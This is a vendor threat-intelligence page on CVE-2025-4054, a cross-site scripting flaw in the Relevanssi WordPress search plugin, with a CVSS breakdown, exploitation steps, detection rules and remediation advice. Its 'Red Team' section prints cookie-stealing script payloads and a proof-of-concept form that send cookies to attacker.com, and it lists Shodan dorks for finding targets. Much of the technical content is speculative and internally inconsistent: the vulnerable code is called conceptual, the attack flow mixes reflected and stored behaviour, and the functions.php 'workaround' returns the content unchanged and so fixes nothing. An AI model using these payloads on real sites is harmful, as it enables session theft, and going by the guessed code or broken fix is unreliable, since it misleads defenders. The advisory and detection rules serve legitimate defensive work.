☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 6.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-4054

CVE-2025-4054 Cross-Site Scripting in Relevanssi
📅 PUBLISHED: 2025-05-07 02:23 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.74%
👁️
0.74% probability
18.4× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.1
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
6.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-4054 is a Stored Cross-Site Scripting (XSS) vulnerability in the Relevanssi – A Better Search WordPress plugin. This flaw affects both the Free version (up to and including 4.24.3) and the Premium version (up to and including 2.27.4). The vulnerability resides in the plugin's "highlights" functionality, which is used to emphasize search terms in search results. Due to insufficient input sanitization and output escaping, an unauthenticated attacker can inject arbitrary web scripts into search result pages. When a user subsequently accesses a page containing these injected scripts, the scripts execute in the context of the victim's browser, potentially leading to session hijacking, data theft, or defacement.

This vulnerability is particularly dangerous because it requires no authentication and can be triggered simply by a user viewing search results. The CVSS score of 6.1 (Medium) reflects the low complexity and network-based attack vector, though the impact is limited to confidentiality and integrity of user data.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed through the official WordPress plugin repository and the Relevanssi Premium site. Users who install the plugin via the WordPress admin dashboard or manually are at risk. The supply chain risk is elevated because the patch status is unknown, meaning no official fix has been released. Organizations should treat this as a zero-day until a patch is confirmed.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
  • Base Score: 6.1 (Medium)
  • Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
  • Attack Complexity: Low (AC:L) – No special conditions are required.
  • Privileges Required: None (PR:N) – Unauthenticated attackers can exploit this.
  • User Interaction: Required (UI:R) – The victim must view a search result page containing the injected script.
  • Scope: Changed (S:C) – The injected script can affect resources beyond the vulnerable component.
  • Confidentiality Impact: Low (C:L) – Limited data exposure possible.
  • Integrity Impact: Low (I:L) – Limited ability to modify content.
  • Availability Impact: None (A:N) – No direct denial-of-service impact.

Threat Level: Medium. While the CVSS score is moderate, the unauthenticated nature and ease of exploitation make this a significant risk for WordPress sites using the Relevanssi plugin.

Deep Dive & Mechanics

The vulnerability is located in the Relevanssi plugin's "highlights" feature, which is designed to wrap search terms in HTML <mark> tags or similar styling to visually emphasize them in search results. The plugin fails to properly sanitize user-supplied input (e.g., search queries) before inserting them into the output HTML. Specifically, when a search term is highlighted, the plugin does not escape HTML entities or strip malicious JavaScript.

Attack Flow:

  1. An attacker crafts a malicious search query containing JavaScript payloads, such as <script>alert('XSS')</script>.
  2. The attacker submits this query to a WordPress site using the Relevanssi plugin.
  3. The plugin processes the query and stores the malicious payload in the search results page (e.g., in the session or cache).
  4. When a legitimate user visits the search results page (or a page that displays highlighted terms), the payload is rendered in the browser without proper escaping.
  5. The victim's browser executes the injected script, which can steal cookies, redirect to phishing sites, or perform actions on behalf of the user.

Root Cause: The plugin uses functions like esc_html() or wp_kses() incorrectly, or fails to apply them to the highlighted term output. The highlights feature likely constructs HTML by concatenating user input directly into the markup.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// In Relevanssi plugin, highlights function
function relevanssi_highlight_terms($content, $terms) {
    foreach ($terms as $term) {
        // Direct concatenation without escaping
        $content = str_replace($term, '<mark>' . $term . '</mark>', $content);
    }
    return $content;
}

Patched Code (Expected):

function relevanssi_highlight_terms($content, $terms) {
    foreach ($terms as $term) {
        // Escape the term before inserting into HTML
        $escaped_term = esc_html($term);
        $content = str_replace($term, '<mark>' . $escaped_term . '</mark>', $content);
    }
    return $content;
}

The patched version uses esc_html() to convert special characters like <, >, &, ", and ' into their HTML entities, preventing script injection.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • A WordPress site with Relevanssi plugin (Free <= 4.24.3 or Premium <= 2.27.4) installed and active.
  • The "highlights" feature must be enabled in the plugin settings.

Exploitation Steps:

  1. Identify a vulnerable WordPress site (e.g., using Shodan dorks or manual inspection).
  2. Craft a malicious search query with a JavaScript payload. Example:
    <script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>
    
  3. Submit the query via the site's search form. The payload will be stored in the search results.
  4. Send a link to the search results page to a victim (e.g., via email or social engineering).
  5. When the victim views the page, the script executes and exfiltrates their session cookie.

Proof-of-Concept (PoC) Code:

<!-- Save as poc.html and host on attacker server -->
<html>
<body>
<form action="http://target-site.com/?s=" method="get">
    <input type="text" name="s" value="<script>fetch('https://attacker.com/log?c='+document.cookie)</script>">
    <input type="submit" value="Search">
</form>
</body>
</html>

Blue Team (Detection & Defense)

Detection:

  • Monitor web server logs for search queries containing <script>, onerror=, javascript:, or other XSS patterns.
  • Use WAF rules to block requests with suspicious payloads in the s parameter.
  • Implement Content Security Policy (CSP) headers to restrict script execution.

Defense:

  • Disable the "highlights" feature in Relevanssi settings until a patch is applied.
  • Apply virtual patching via WAF (e.g., ModSecurity rule to block <script> in search queries).
  • Regularly update the plugin when a patch becomes available.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • HTTP requests to /?s=<script>... or similar patterns.
    • Outbound connections to known malicious domains from the WordPress server.
  • File IOCs:
    • Modified search result pages containing <script> tags.
    • Suspicious entries in the WordPress wp_options table (e.g., stored search terms).
  • Log IOCs:
    • Web server logs showing repeated search queries with HTML/JavaScript content.
    • Error logs indicating failed XSS attempts (e.g., blocked by WAF).

Detection Engineering

YARA Rule

rule CVE_2025_4054_Relevanssi_XSS {
    meta:
        description = "Detects stored XSS payloads in Relevanssi plugin search results"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-4054"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $onerror_payload = /onerror\s*=\s*["']?[^"']*["']?/i
        $javascript_uri = /javascript\s*:/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-4054 Relevanssi Stored XSS Detection
id: 8a9b3c2d-1e5f-4a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects potential XSS attempts in WordPress search queries targeting Relevanssi plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - '<script'
            - 'onerror='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of HTML in search queries (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-4054 Relevanssi Stored XSS Attempt"; flow:to_server; content:"GET"; http_method; content:"/?"; http_uri; content:"s="; http_uri; pcre:"/<script[^>]*>.*<\/script>/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the "highlights" feature in Relevanssi settings (if possible) to prevent exploitation.
  2. Apply virtual patching using a Web Application Firewall (WAF) to block XSS payloads in search queries.
  3. Monitor logs for signs of exploitation and block malicious IPs.

Long-Term Fix:

  • Update the plugin once a patched version is released (check Relevanssi official site or WordPress plugin repository).
  • Implement Content Security Policy (CSP) headers to restrict script execution.
  • Educate users about phishing attacks that may leverage this vulnerability.

Workaround Code (if patching is delayed): Add the following to your theme's functions.php to sanitize search queries:

add_filter('relevanssi_highlight_terms', function($content, $terms) {
    foreach ($terms as &$term) {
        $term = esc_html($term);
    }
    return $content;
}, 10, 2);

Valters IT
DevSecOps & Cyber Threat Intelligence

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Relevanssi"
http.html:"relevanssi_live_search"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-4054/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.